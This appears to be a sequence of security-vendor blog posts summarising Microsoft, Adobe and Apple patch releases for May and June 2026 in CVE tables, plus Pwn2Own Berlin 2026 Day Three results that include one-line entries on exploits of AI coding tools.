Moving on to the Information Disclosure bugs fixed this month, we have 15 different CVEs. As usual, the majority of these simply result in info leaks consisting of unspecified memory contents or memory addresses. The bug in Power Automate could expose data marked “Sensitive” within Power Automate Desktop flows. One of the Word bugs could disclose NLTM hashes. The bug in Edge could disclose your cookies, which seems rude. The bug in Visual Studio could expose file path information. Finally, there’s a bug in Telnet for Windows 11 that leaks information being used by Telnet at the time. I didn’t even realize Windows 11 still had a telnet client.

The May release contains 10 spoofing bugs (plus the ones already addressed by Microsoft). The bug in Azure Machine Learning Notebooks vulnerability requires user interaction, but it could expose info through the Azure ML web interface to the attacker. There’s a cluster of fixes for Microsoft's mobile Office suite on Android. Excel, Word, and PowerPoint for Android all carry spoofing flaws rooted in improper access control. Two Copilot products are also affected by spoofing vulns. The M365 Copilot for Desktop has no details provided. The M365 Copilot for Android variant requires low privileges and producing only limited impact on confidentiality and integrity. Microsoft Teams for Android rounds out the mobile app spoofing bugs. Three Edge bugs close things out, all involving misrepresentation of information in the browser UI.

There are two Tampering bugs in this month’s release. The one in .NET Core allows threat actors to write files to an affected system. The other is in Outlook for iOS and manifests as a command injection bug.

There are eight DoS bugs in the May release, but as always, Microsoft provides little to no actionable information about the vulnerabilities. The most interesting from a practical standpoint are two TCP/IP bugs that allow a low-privilege Hyper-V guest to crash the host. Both are triggered from the adjacent network. On the broader network-exposure side, the ASP.NET Core bug is a straightforward infinite loop condition — an unauthenticated attacker sends a crafted request over the network and the server stops responding.

No new advisories are being released this month.

Looking Ahead

Assuming I survive Pwn2Own Berlin (which is looking iffy at the moment), I’ll return on June 9th on what will hopefully be a smaller release than this one. Until then, stay safe, happy patching, and may all your reboots be smooth and clean!

The Apple macOS Security Update Review

Sat, 25 Jul 2026 19:02:56 +0200

We’ve received some feedback from those who read the Patch Blog that they would like something similar for macOS updates. Unfortunately, Apple doesn’t schedule these for a particular day, but we can provide our thoughts and analysis on the days they do release their latest patches.

For May 2026, Apple released 82 unique CVEs across the three macOS versions: 79 for macOS Tahoe 26.5, 45 for macOS Sequoia 15.7.7, and 42 for macOS Sonoma 14.8.7. Since Apple doesn’t provide CVSS scores or other severity information, we’re left to speculate on which of these bugs is the most severe. However, there are a couple that stand out.

- CVE-2026-28819 (Wi-Fi) stands out as the strongest candidate for the most severe as it states, “An app may be able to execute arbitrary code with kernel privileges.” The combination of arbitrary code execution at the kernel level is about as bad as it gets on a severity scale. Plus, it affects all three macOS versions (Tahoe, Sequoia, and Sonoma).

- CVE-2026-43668 (mDNSResponder) also piques my interest since, “A remote attacker may be able to cause unexpected system termination or corrupt kernel memory.” The remote attack vector with kernel memory corruption on all three OS versions makes this a serious one, especially since mDNSResponder is always running.

- CVE-2026-28972 (Kernel) This one states that “An app may be able to cause unexpected system termination or write kernel memory.” An out-of-bounds write directly into kernel memory on all three OS versions. This one may also have implications in the upcoming Pwn2Own Berlin contest.

Here’s a look at all the bugs released by Apple this month:

82Unique CVEs 79macOS Tahoe 26.5 45macOS Sequoia 15.7.7 42macOS Sonoma 14.8.7

CVE ID	Component	Impact	macOS Tahoe 26.5	macOS Sequoia 15.7.7	macOS Sonoma 14.8.7
CVE-2026-28991	Accelerate	An app may be able to cause a denial-of-service	Yes	No	No
CVE-2026-28988	Accounts	An app may be able to bypass certain Privacy preferences	Yes	No	No
CVE-2026-28959	APFS	An app may be able to cause unexpected system termination	Yes	Yes	Yes
CVE-2026-28995	App Intents	A malicious app may be able to break out of its sandbox	Yes	No	No
CVE-2026-1837	AppleJPEG	Processing a maliciously crafted image may lead to a denial-of-service	Yes	No	No
CVE-2026-28956	AppleJPEG	Processing a maliciously crafted media file may lead to unexpected app termination or corrupt process memory	Yes	Yes	Yes
CVE-2026-39869	Audio	Processing an audio stream in a maliciously crafted media file may terminate the process	Yes	Yes	Yes
CVE-2026-28922	CoreMedia	An app may be able to access private information	Yes	Yes	Yes
CVE-2026-28936	CoreServices	Processing a maliciously crafted file may lead to unexpected app termination	Yes	No	Yes
CVE-2026-28918	CoreSymbolication	Parsing a maliciously crafted file may lead to an unexpected app termination	Yes	No	No
CVE-2026-28878	Crash Reporter	An app may be able to enumerate a user's installed apps	No	Yes	No
CVE-2026-28915	CUPS	An app may be able to gain root privileges	Yes	Yes	Yes
CVE-2026-43659	FileProvider	An app may be able to access sensitive user data	Yes	Yes	Yes
CVE-2026-28923	GPU Drivers	A malicious app may be able to break out of its sandbox	Yes	Yes	Yes
CVE-2026-28925	HFS	An app may be able to cause unexpected system termination or write kernel memory	Yes	Yes	Yes
CVE-2025-43524	Icons	An app may be able to break out of its sandbox	No	Yes	Yes
CVE-2026-43661	ImageIO	Processing a maliciously crafted image may corrupt process memory	Yes	No	No
CVE-2026-28977	ImageIO	Processing a maliciously crafted file may lead to unexpected app termination	Yes	Yes	Yes
CVE-2026-28990	ImageIO	Processing a maliciously crafted image may corrupt process memory	Yes	Yes	Yes
CVE-2026-28978	Installer	A malicious app may be able to break out of its sandbox	Yes	Yes	Yes
CVE-2026-28992	IOHIDFamily	An attacker may be able to cause unexpected app termination	Yes	Yes	Yes
CVE-2026-28943	IOHIDFamily	An app may be able to determine kernel memory layout	Yes	Yes	Yes
CVE-2026-28969	IOKit	An app may be able to cause unexpected system termination	Yes	Yes	Yes
CVE-2026-43655	IOSurfaceAccelerator	An app may be able to cause unexpected system termination or read kernel memory	Yes	No	No
CVE-2026-43654	Kernel	An app may be able to disclose kernel memory	Yes	Yes	Yes
CVE-2026-28908	Kernel	An app may be able to modify protected parts of the file system	Yes	Yes	Yes
CVE-2026-28954	Kernel	A maliciously crafted disk image may bypass Gatekeeper checks	Yes	Yes	Yes
CVE-2026-28897	Kernel	A local user may be able to cause unexpected system termination or read kernel memory	Yes	Yes	Yes
CVE-2026-28952	Kernel	An app may be able to cause unexpected system termination	Yes	Yes	Yes
CVE-2026-28951	Kernel	An app may be able to gain root privileges	Yes	Yes	Yes
CVE-2026-28972	Kernel	An app may be able to cause unexpected system termination or write kernel memory	Yes	Yes	Yes
CVE-2026-28986	Kernel	An app may be able to cause unexpected system termination	Yes	Yes	Yes
CVE-2026-28987	Kernel	An app may be able to leak sensitive kernel state	Yes	Yes	Yes
CVE-2026-28983	LaunchServices	A remote attacker may be able to cause a denial of service	Yes	No	No
CVE-2026-28929	Mail Drafts	Replying to an email could display remote images in Mail in Lockdown Mode	Yes	Yes	Yes
CVE-2026-43653	mDNSResponder	An attacker on the local network may be able to cause a denial-of-service	Yes	No	Yes
CVE-2026-28985	mDNSResponder	An attacker on the local network may be able to cause a denial-of-service	Yes	No	No
CVE-2026-43668	mDNSResponder	A remote attacker may be able to cause unexpected system termination or corrupt kernel memory	Yes	Yes	Yes
CVE-2026-43666	mDNSResponder	An attacker on the local network may be able to cause a denial-of-service	Yes	Yes	Yes
CVE-2026-28941	Model I/O	Processing a maliciously crafted file may lead to a denial-of-service or potentially disclose memory contents	Yes	Yes	No
CVE-2026-28940	Model I/O	Processing a maliciously crafted image may corrupt process memory	Yes	Yes	No
CVE-2026-28961	Network Extensions	An attacker with physical access to a locked device may be able to view sensitive user information	Yes	No	No
CVE-2026-28906	Networking	An attacker may be able to track users through their IP address	Yes	Yes	Yes
CVE-2026-28840	PackageKit	An app may be able to gain root privileges	No	Yes	Yes
CVE-2026-43656	Quick Look	Parsing a maliciously crafted file may lead to an unexpected app termination	Yes	Yes	Yes
CVE-2026-43652	Sandbox	An app may be able to access protected user data	Yes	No	No
CVE-2026-39870	SceneKit	Processing a maliciously crafted image may corrupt process memory	Yes	Yes	Yes
CVE-2026-28846	SceneKit	A remote attacker may be able to cause unexpected app termination	Yes	Yes	Yes
CVE-2026-28993	Shortcuts	An app may be able to access user-sensitive data	Yes	Yes	Yes
CVE-2026-28848	SMB	A remote attacker may be able to cause unexpected system termination	Yes	Yes	No
CVE-2026-28930	Spotlight	An app may be able to access protected user data	Yes	No	No
CVE-2026-28974	Spotlight	An app may be able to cause a denial-of-service	Yes	Yes	No
CVE-2026-28996	Storage	An app may be able to access sensitive user data	Yes	Yes	Yes
CVE-2026-28919	StorageKit	An app may be able to gain root privileges	Yes	Yes	Yes
CVE-2026-28924	Sync Services	An app may be able to access Contacts without user consent	Yes	Yes	Yes
CVE-2026-39871	TV App	An app may be able to observe unprotected user data	Yes	Yes	Yes
CVE-2026-28976	UserAccountUpdater	An app may be able to gain root privileges	Yes	No	No
CVE-2026-43660	WebKit	Processing maliciously crafted web content may prevent Content Security Policy from being enforced	Yes	No	No
CVE-2026-28907	WebKit	Processing maliciously crafted web content may prevent Content Security Policy from being enforced	Yes	No	No
CVE-2026-28962	WebKit	Processing maliciously crafted web content may disclose sensitive user information	Yes	No	No
CVE-2026-43658	WebKit	Processing maliciously crafted web content may lead to an unexpected Safari crash	Yes	No	No
CVE-2026-28905	WebKit	Processing maliciously crafted web content may lead to an unexpected process crash	Yes	No	No
CVE-2026-28847	WebKit	Processing maliciously crafted web content may lead to an unexpected process crash	Yes	No	No
CVE-2026-28904	WebKit	Processing maliciously crafted web content may lead to an unexpected process crash	Yes	No	No
CVE-2026-28955	WebKit	Processing maliciously crafted web content may lead to an unexpected process crash	Yes	No	No
CVE-2026-28903	WebKit	Processing maliciously crafted web content may lead to an unexpected process crash	Yes	No	No
CVE-2026-28953	WebKit	Processing maliciously crafted web content may lead to an unexpected process crash	Yes	No	No
CVE-2026-28902	WebKit	Processing maliciously crafted web content may lead to an unexpected process crash	Yes	No	No
CVE-2026-28901	WebKit	Processing maliciously crafted web content may lead to an unexpected process crash	Yes	No	No
CVE-2026-28913	WebKit	Processing maliciously crafted web content may lead to an unexpected process crash	Yes	No	No
CVE-2026-28883	WebKit	Processing maliciously crafted web content may lead to an unexpected process crash	Yes	No	No
CVE-2026-28958	WebKit	An app may be able to access sensitive user data	Yes	No	No
CVE-2026-28917	WebKit	Processing maliciously crafted web content may lead to an unexpected process crash	Yes	No	No
CVE-2026-28947	WebKit	Processing maliciously crafted web content may lead to an unexpected Safari crash	Yes	No	No
CVE-2026-28946	WebKit	Processing maliciously crafted web content may lead to an unexpected Safari crash	Yes	No	No
CVE-2026-28942	WebKit	Processing maliciously crafted web content may lead to an unexpected Safari crash	Yes	No	No
CVE-2026-28971	WebKit	A malicious iframe may use another website's download settings	Yes	No	No
CVE-2026-28944	WebRTC	Processing maliciously crafted web content may lead to an unexpected process crash	Yes	No	No
CVE-2026-28819	Wi-Fi	An app may be able to execute arbitrary code with kernel privileges	Yes	Yes	Yes
CVE-2026-28994	Wi-Fi	An attacker in a privileged network position may be able to perform denial-of-service attack using crafted Wi-Fi packets	Yes	Yes	Yes
CVE-2026-28914	zip	A maliciously crafted ZIP archive may bypass Gatekeeper checks	Yes	No	No
CVE-2026-28920	zlib	Visiting a maliciously crafted website may leak sensitive data	Yes	Yes	Yes

CVEs marked with the scarab logo were reported through the TrendAI Zero Day Initiative program.

We’ll continue these macOS updates if people find them useful. Stay tuned for the regularly schedule Patch Tuesday blog covering Adobe and Microsoft.

Pwn2Own Berlin 2026: Day Three Results and Master of Pw

Sat, 25 Jul 2026 19:02:54 +0200

Following two days of intense competition, Day Three of Pwn2Own Berlin 2026 brought the curtain down on an incredible event. Security researchers delivered their final exploits, pushing enterprise systems to the limit one last time as the race for Master of Pwn came to a close.

Day Three added to an already historic event, bringing the final totals to $1,298,250 awarded for 47 unique 0-day vulnerabilities across three days of competition. DEVCORE claimed the title of Master of Pwn with a commanding 50.5 points and $505,000 — a dominant performance across all three days. STARLabs SG finished in second with 25 points and $242,500, followed by Out Of Bounds in third with 12.75 points and $95,750.

Congratulations to all the researchers who participated, and a special thank you to OffensiveCon for hosting. We'll see you at the next Pwn2Own.

Here are the results of Day Three:

SUCCESS/COLLISION - Sina Kheirkhah (@SinSinology) of Summoning Team (@SummoningTeam) used two bugs to exploit Red Hat Linux, but one of the bugs was previously known. He still earns $7,000 and 1.5 Master of Pwn points.

SUCCESS - Le Tran Hai Tung (@tacbliw), dungnm (@dungnm_) and hieuvd (@gr4ss341) of Viettel Cyber Security (@vcslab) used an integer overflow to escalate privileges on #Windows 11. Their 5th round win nets them $7,500 and 3 Master of Pwn points.

SUCCESS - Satoki Tsuji (@satoki00) of Ikotas Labs, Inc. abused an external control to exploit OpenAI Codex and pop a host of calcs. He earns $20,000 and 4 Master of Pwn points.

FAILURE - Unfortunately, Giuseppe Calì of Summoning Team (@SummoningTeam) could not get their exploit of VMware ESXi working within the time allotted.

COLLISON - Although successful on stage, Emanuele Barbeno, Cyrill Bannwart, Yves Bieri, Lukasz D., Urs Mueller (@compasssecurity) of Compass Security targeted Anthropic Claude Code, hitting a one-vulnerability collision with a previous attempt and earning $20,000 and 2 Master of Pwn points.

SUCCESS - Hyunwoo Kim (@v4bel) chained a use-after-free and uninitialized memory bug to escalate privileges on Red Hat Enterprise Linux for Workstations in the fourth round, earning $5,000 and 2 Master of Pwn points.

SUCCESS - splitline (@splitline) of DEVCORE Research Team chained 2 bugs to exploit Microsoft SharePoint, earning $100,000 and 10 Master of Pwn points.

SUCCESS - Nguyen Hoang Thach (@hi_im_d4rkn3ss) of STARLabs SG (@starlabs_sg) used a Memory Corruption bug to exploit VMware ESXi with the Cross-tenant Code Execution add-on, earning $200,000 and 20 Master of Pwn points.

COLLISON - While Byung Young Yi (@yibarrack) of Out Of Bounds successfully demonstrated their exploit of Anthropic Claude Code, the bug used had been previously disclosed. They still earn $20,000 and 2 Master of Pwn points.

The June 2026 Security Update Review

Sat, 25 Jul 2026 19:02:53 +0200

I’ve made it through Pwn2Own Berlin, had a little vacation, and now I’m back for Patch Tuesday. Microsoft and Adobe didn’t disappoint. In fact, they have heralded my return with the largest Patch Tuesday release ever. Thanks? Take a break from your regularly scheduled activities and let’s take a look at the latest security patches from Adobe and Microsoft. If you’d rather watch the full video recap covering the entire release, you can check it out here:

Adobe Patches for June 2026

For June, Adobe released 11 bulletins addressing 123 unique CVEs in Adobe Acrobat Reader, ColdFusion, Experience Manager, Experience Manager Forms, InDesign, InCopy, Substance 3D Sampler, Content Credentials SDK, Dreamweaver, Format Plugins, and Adobe Campaign Classic. A total of 11 of these CVEs were reported through the ZDI program.

Here’s this month’s overview table:

Bulletin ID	Product	CVE Count	Highest Severity	Highest CVSS	Exploited	Deployment Priority
APSB26-66	Adobe Campaign Classic	2	Critical	10.0	No	1
APSB26-64	Adobe ColdFusion	7	Critical	9.6	No	1
APSB26-63	Adobe Acrobat Reader	20	Critical	7.8	No	2
APSB26-57	Adobe Experience Manager Forms	3	Critical	9.3	No	2
APSB26-62	Adobe Dreamweaver	5	Critical	8.6	No	3
APSB26-65	Adobe Format Plugins	2	Critical	7.8	No	3
APSB26-59	Adobe InCopy	3	Critical	7.8	No	3
APSB26-58	Adobe InDesign	12	Critical	7.8	No	3
APSB26-60	Adobe Substance 3D Sampler	4	Critical	7.8	No	3
APSB26-61	Content Credentials SDK	8	Critical	7.5	No	3
APSB26-56	Adobe Experience Manager	57	Important	5.4	No	3
TOTAL	11 bulletins	123

Obviously, the update for Campaign Classic should be on the top of your deployment list if you’re a user. A CVSS 10 is rare; two in the same bulletin is pretty much a unicorn. Adobe says there are no active attacks, but I would expect heavy research into creating one. The update for Coldfusion is also a Priority 1, but again, no known attacks is the wild. I suspect the Reader patch will also receive a lot of attention as malicious PDFs are common in ransomware attacks. The update for Experience Manager may be large, but it’s mostly just cross-site scripting (XSS) bugs.

Microsoft Patches for June 2026

This month, Microsoft released a new record 208 CVEs Windows and Windows components, Office and Office Components, Microsoft Edge (Chromium-based), Azure, .NET and Visual Studio, Github Copilot, Defender, Exchange Server, Hyper-V, Secure Boot, and BitLocker. At least, that’s my count. Microsoft’s tools seem to be having some issues, as they initially included a CVE from 2020 in this release. Regardless, the count is over 200, and I counted several times.

One of these bugs came through the ZDI program, but bugs submitted during Pwn2Own Berlin remain unpatched. If you include the Chromium and other third-party bugs, the total CVE count for June comes to a staggering 571 CVEs. 38 of these cases are rated Critical while the rest are rated Important in severity.

I’ve been counting CVEs on Patch Tuesday since 2017, and this is by far the largest monthly release in that time. The previous record was 177 set last year. It is extraordinary that Microsoft can produce so many patches in a single month, but it does raise concerns. How many of these cases were found using AI tools? How many patches were generated using AI to assist in coding or testing? What quality issues may exist in these patches? And likely most importantly, is this the new normal? The last two months were also large releases. Should sysadmins adjust their processes for prioritization and patch deployment based on this new volume of updates? Unfortunately, Microsoft is not providing those answers right now. Hopefully that changes in the future. BTW – just a note – the current number of CVEs shipped by Microsoft this year exceeds the total number of CVEs shipped in all of 2018.

One of the bugs patched by Microsoft this month is listed as under active exploitation and three others are listed as publicly known at the time of release. Let’s take a closer look at some of the more interesting updates for this month, starting with the bug being exploited in the wild.

- CVE-2026-41091 - Microsoft Defender Elevation of Privilege Vulnerability
Since Microsoft doesn’t provide info on how widespread exploitation is, we must read some tea leaves. For this patch, several different people were acknowledged, which indicates multiple parties say this is in the wild, meaning exploitation is likely significant. The good news is that most people won’t need to take action as Defender updates itself. However, if you don’t have this configured or are in an isolated environment, you’ll need to update to the latest version.

- CVE-2026-45657 - Windows Kernel Remote Code Execution Vulnerability
This CVSS 9.8 bug allows remote, unauthenticated attackers to execute code at SYSTEM level without user interaction. Yup – this is wormable. The problem lies in the way the kernel handles TCP/IP. This was listed as “Exploitation Less Likely” by Microsoft, but rest assured that every researcher and bug shop on the planet is reversing this patch right now trying to create an exploit. Test and deploy this patch quickly.

- CVE-2026-47291 - HTTP.sys Remote Code Execution Vulnerability
Our second CVSS 9.8 bug of the month, this also allows remote, unauthenticated attackers to execute code on affected systems without user interaction. However, there is a caveat. Systems using the default MaxRequestBytes registry value used by the Windows HTTP stack are not affected by this bug. You can edit your registry settings if you need protection while you test and deploy the patch. The bulletin includes instructions and even a PowerShell script for doing this action. Microsoft lists this as “Exploitation more likely”, so I would definitely check your registry settings.

- CVE-2026-44815 - DHCP Client Service Remote Code Execution Vulnerability
Here’s another CVSS 9.8 that has an odd incongruity. Although the CVSS says no permissions are required for exploitation, the write-up states it must be an “authenticated” user. I would err on the side of caution here and believe the CVSS. If that’s correct, then we have another bug where a remote, unauthenticated attacker could execute code on affected systems without user interaction. And since the DHCP client is on every OS, it’s a juicy target. This is another one to test and deploy with haste.

- CVE-2026-45585/CVE-2026-50507 - Windows BitLocker Security Feature Bypass Vulnerability
If you’ve followed the ongoing saga of Nightmare Eclipse vs. MSRC, the bugs should look familiar. One is definitely a fix for “YellowKey”, while the other appears to be a fix for “GreenPlasma”. The researcher has promised a “bone shattering” drop on June 14, so let’s hope Microsoft is able to reach some understanding with the researcher before more 0-days are released. Also, there is a script provided by Microsoft as a mitigation, but the better strategy is to test and deploy the updates.

Here’s the full list of CVEs released by Microsoft for June 2026:

CVE	Title	Severity	CVSS	Public	Exploited	XI	Type
CVE-2026-41091	Microsoft Defender Elevation of Privilege Vulnerability	Important	7.8	Yes	Yes	0	EoP
CVE-2026-49160	HTTP.sys Denial of Service Vulnerability	Important	7.5	Yes	No	1	DoS
CVE-2026-50507	Windows BitLocker Security Feature Bypass Vulnerability	Important	6.8	Yes	No	1	SFB
CVE-2026-45586	Windows Collaborative Translation Framework (CTFMON) Elevation of Privilege Vulnerability	Important	7.8	Yes	No	1	EoP
CVE-2025-10263 *	ARM: CVE-2025-10263 Completion of affected memory accesses might not be guaranteed by completion of a TLBI [kernel]	Critical	9.3	No	No	2	EoP
CVE-2026-48567	Azure HorizonDB Elevation of Privilege Vulnerability	Critical	10	No	No	N/A	EoP
CVE-2026-32193	Azure Kubernetes Service (AKS) Remote Code Execution Vulnerability	Critical	8.8	No	No	3	RCE
CVE-2026-47644	Copilot Chat (Microsoft Edge) Information Disclosure Vulnerability	Critical	6.5	No	No	2	Info
CVE-2026-44815	DHCP Client Service Remote Code Execution Vulnerability	Critical	9.8	No	No	2	RCE
CVE-2026-47291	HTTP.sys Remote Code Execution Vulnerability	Critical	9.8	No	No	1	RCE
CVE-2026-42824	M365 Copilot Information Disclosure Vulnerability	Critical	6.5	No	No	N/A	Info
CVE-2026-45476	Microsoft Azure Network Adapter Elevation of Privilege Vulnerability	Critical	8.2	No	No	2	EoP
CVE-2026-44810	Microsoft Cryptographic Services Elevation of Privilege Vulnerability	Critical	8.4	No	No	2	EoP
CVE-2026-48579	Microsoft Exchange Online Information Disclosure Vulnerability	Critical	9.1	No	No	N/A	Info
CVE-2026-47655	Microsoft Graph Information Disclosure Vulnerability	Critical	6.5	No	No	N/A	Info
CVE-2026-45497	Microsoft M365 Copilot Remote Code Execution Vulnerability	Critical	7.7	No	No	N/A	RCE
CVE-2026-45460	Microsoft Office Information Disclosure Vulnerability	Critical	4.7	No	No	3	Info
CVE-2026-45472	Microsoft Office Remote Code Execution Vulnerability	Critical	8.4	No	No	2	RCE
CVE-2026-45474	Microsoft Office Remote Code Execution Vulnerability	Critical	8.4	No	No	2	RCE
CVE-2026-45461	Microsoft Office Remote Code Execution Vulnerability	Critical	8.4	No	No	2	RCE
CVE-2026-45463	Microsoft Office Remote Code Execution Vulnerability	Critical	8.4	No	No	2	RCE
CVE-2026-45456	Microsoft Outlook and Word Remote Code Execution Vulnerability	Critical	8.4	No	No	2	RCE
CVE-2026-45458	Microsoft Outlook and Word Remote Code Execution Vulnerability	Critical	8.4	No	No	2	RCE
CVE-2026-47635	Microsoft Outlook and Word Remote Code Execution Vulnerability	Critical	8.4	No	No	2	RCE
CVE-2026-26142	Nuance PowerScribe Remote Code Execution Vulnerability	Critical	9.8	No	No	2	RCE
CVE-2026-47289	Remote Desktop Client Remote Code Execution Vulnerability	Critical	8.8	No	No	2	RCE
CVE-2026-47654	Remote Desktop Client Remote Code Execution Vulnerability	Critical	7.5	No	No	3	RCE
CVE-2026-48563	Remote Desktop Client Remote Code Execution Vulnerability	Critical	7.5	No	No	2	RCE
CVE-2026-42992	Remote Desktop Client Remote Code Execution Vulnerability	Critical	7.5	No	No	2	RCE
CVE-2026-44799	Remote Desktop Client Remote Code Execution Vulnerability	Critical	7.5	No	No	2	RCE
CVE-2026-44801	Remote Desktop Client Remote Code Execution Vulnerability	Critical	7.5	No	No	2	RCE
CVE-2026-42985	Remote Desktop Client Remote Code Execution Vulnerability	Critical	8.8	No	No	1	RCE
CVE-2026-45648	Windows Active Directory Domain Services Remote Code Execution Vulnerability	Critical	8.8	No	No	3	RCE
CVE-2026-42987	Windows Deployment Services (WDS) Remote Code Execution	Critical	8.1	No	No	2	RCE
CVE-2026-33828	Windows Device Health Attestation (DHA) Elevation of Privilege Vulnerability	Critical	7.8	No	No	3	EoP
CVE-2026-44803	Windows Graphics Component Remote Code Execution Vulnerability	Critical	7.8	No	No	1	RCE
CVE-2026-44812	Windows Graphics Component Remote Code Execution Vulnerability	Critical	7.8	No	No	1	RCE
CVE-2026-45607	Windows Hyper-V Remote Code Execution Vulnerability	Critical	8.4	No	No	2	RCE
CVE-2026-45641	Windows Hyper-V Remote Code Execution Vulnerability	Critical	8.4	No	No	2	RCE
CVE-2026-47652	Windows Hyper-V Remote Code Execution Vulnerability	Critical	8.2	No	No	2	RCE
CVE-2026-47288	Windows Kerberos Key Distribution Center (KDC) Remote Code Execution	Critical	7.1	No	No	3	RCE
CVE-2026-45657	Windows Kernel Remote Code Execution Vulnerability	Critical	9.8	No	No	2	RCE
CVE-2026-48574	Windows Media Remote Code Execution Vulnerability	Critical	7.8	No	No	2	RCE
CVE-2026-45490	.NET SDK Elevation of Privilege Vulnerability	Important	7.8	No	No	2	EoP
CVE-2026-45491	.NET Tampering Vulnerability	Important	6.2	No	No	3	Tampering
CVE-2026-45591	ASP.NET Core Denial of Service Vulnerability	Important	7.5	No	No	2	DoS
CVE-2026-47643	Azure Stack Edge Remote Code Execution Vulnerability	Important	9.8	No	No	3	RCE
CVE-2026-41098	Azure Stack Edge Spoofing Vulnerability	Important	8.4	No	No	2	Spoofing
CVE-2026-45642	Microsoft Azure Attestation service and Device Health Attestation Service Spoofing Vulnerability	Important	3.9	No	No	2	Spoofing
CVE-2026-45650	Microsoft Bing Search Spoofing Vulnerability	Important	4.3	No	No	2	Spoofing
CVE-2026-45637	Microsoft DWM Core Library Elevation of Privilege Vulnerability	Important	7.8	No	No	2	EoP
CVE-2026-45647	Microsoft Defender for Endpoint for Mac Elevation of Privilege Vulnerability	Important	5.5	No	No	2	EoP
CVE-2026-40371	Microsoft Dynamics 365 (on-premises) Elevation of Privilege Vulnerability	Important	8.8	No	No	2	EoP
CVE-2026-44822	Microsoft Excel Information Disclosure Vulnerability	Important	8.2	No	No	3	Info
CVE-2026-45455	Microsoft Excel Information Disclosure Vulnerability	Important	3.3	No	No	2	Info
CVE-2026-45469	Microsoft Excel Remote Code Execution Vulnerability	Important	7.8	No	No	2	RCE
CVE-2026-44817	Microsoft Excel Remote Code Execution Vulnerability	Important	7.8	No	No	3	RCE
CVE-2026-44818	Microsoft Excel Remote Code Execution Vulnerability	Important	7	No	No	2	RCE
CVE-2026-44820	Microsoft Excel Remote Code Execution Vulnerability	Important	7.8	No	No	2	RCE
CVE-2026-44823	Microsoft Excel Remote Code Execution Vulnerability	Important	7.8	No	No	2	RCE
CVE-2026-45459	Microsoft Excel Security Feature Bypass Vulnerability	Important	3.3	No	No	2	SFB
CVE-2026-45504	Microsoft Exchange Server Elevation of Privilege Vulnerability	Important	8.8	No	No	3	EoP
CVE-2026-45502	Microsoft Exchange Server Information Disclosure Vulnerability	Important	5	No	No	3	Info
CVE-2026-45503	Microsoft Exchange Server Information Disclosure Vulnerability	Important	8.1	No	No	3	Info
CVE-2026-45583	Microsoft Exchange Server Remote Code Execution Vulnerability	Important	7.5	No	No	2	RCE
CVE-2026-45500	Microsoft Exchange Server Spoofing Vulnerability	Important	6.1	No	No	2	Spoofing
CVE-2026-45501	Microsoft Exchange Server Spoofing Vulnerability	Important	6.5	No	No	2	Spoofing
CVE-2026-47631	Microsoft Exchange Server Spoofing Vulnerability	Important	8.1	No	No	2	Spoofing
CVE-2026-42986	Microsoft Graphics Component Elevation of Privilege Vulnerability	Important	7.8	No	No	1	EoP
CVE-2026-41092	Microsoft Kinect Elevation of Privilege Vulnerability	Important	7.8	No	No	2	EoP
CVE-2026-45644	Microsoft Live Share Canvas SDK Elevation of Privilege Vulnerability	Important	8	No	No	2	EoP
CVE-2026-47293	Microsoft Office Click-To-Run Elevation of Privilege Vulnerability	Important	7	No	No	2	EoP
CVE-2026-45485	Microsoft Office Information Disclosure Vulnerability	Important	3.3	No	No	2	Info
CVE-2026-44821	Microsoft Office Information Disclosure Vulnerability	Important	5.5	No	No	2	Info
CVE-2026-45483	Microsoft Office Project Server Spoofing Vulnerability	Important	4.6	No	No	2	Spoofing
CVE-2026-45475	Microsoft Office Remote Code Execution Vulnerability	Important	7.8	No	No	2	RCE
CVE-2026-44819	Microsoft Office Remote Code Execution Vulnerability	Important	7.8	No	No	2	RCE
CVE-2026-44824	Microsoft Office Remote Code Execution Vulnerability	Important	7.8	No	No	2	RCE
CVE-2026-45645	Microsoft Office Remote Code Execution Vulnerability	Important	7.8	No	No	2	RCE
CVE-2026-49161	Microsoft PC Manager Security Feature Bypass Vulnerability	Important	7.8	No	No	3	SFB
CVE-2026-42902	Microsoft PowerToys Elevation of Privilege Vulnerability	Important	7.8	No	No	2	EoP
CVE-2026-45484	Microsoft SharePoint Elevation of Privilege Vulnerability	Important	8.8	No	No	2	EoP
CVE-2026-45454	Microsoft SharePoint Remote Code Execution Vulnerability	Important	6.5	No	No	2	RCE
CVE-2026-47298	Microsoft SharePoint Server Remote Code Execution Vulnerability	Important	8	No	No	2	RCE
CVE-2026-45467	Microsoft SharePoint Server Spoofing Vulnerability	Important	4.6	No	No	2	Spoofing
CVE-2026-45468	Microsoft SharePoint Server Spoofing Vulnerability	Important	4.6	No	No	2	Spoofing
CVE-2026-45479	Microsoft SharePoint Server Spoofing Vulnerability	Important	4.6	No	No	2	Spoofing
CVE-2026-45453	Microsoft SharePoint Server Spoofing Vulnerability	Important	5.4	No	No	2	Spoofing
CVE-2026-47636	Microsoft SharePoint Server Spoofing Vulnerability	Important	5.4	No	No	2	Spoofing
CVE-2026-47637	Microsoft SharePoint Server Spoofing Vulnerability	Important	4.6	No	No	2	Spoofing
CVE-2026-47638	Microsoft SharePoint Server Spoofing Vulnerability	Important	4.6	No	No	2	Spoofing
CVE-2026-47639	Microsoft SharePoint Server Spoofing Vulnerability	Important	5.4	No	No	3	Spoofing
CVE-2026-47641	Microsoft SharePoint Server Spoofing Vulnerability	Important	4.6	No	No	2	Spoofing
CVE-2026-33113	Microsoft SharePoint Server Spoofing Vulnerability	Important	5.4	No	No	2	Spoofing
CVE-2026-45462	Microsoft SharePoint Server Spoofing Vulnerability	Important	4.6	No	No	2	Spoofing
CVE-2026-45464	Microsoft SharePoint Server Spoofing Vulnerability	Important	5.4	No	No	2	Spoofing
CVE-2026-45465	Microsoft SharePoint Server Spoofing Vulnerability	Important	5.4	No	No	2	Spoofing
CVE-2026-47634	Microsoft SharePoint Server Spoofing Vulnerability	Important	7.3	No	No	1	Spoofing
CVE-2026-47640	Microsoft SharePoint Server Spoofing Vulnerability	Important	4.6	No	No	3	Spoofing
CVE-2026-45481	Microsoft SharePoint Server Spoofing Vulnerability	Important	7.3	No	No	1	Spoofing
CVE-2026-48560	Microsoft SharePoint Server Spoofing Vulnerability	Important	5.4	No	No	2	Spoofing
CVE-2026-48562	Microsoft SharePoint Server Spoofing Vulnerability	Important	4.6	No	No	2	Spoofing
CVE-2026-42835	Microsoft Teams for Android Information Disclosure Vulnerability	Important	8.1	No	No	2	Info
CVE-2026-45606	Microsoft UxTheme Library (uxtheme.dll) Denial of Service Vulnerability	Important	5.5	No	No	2	DoS
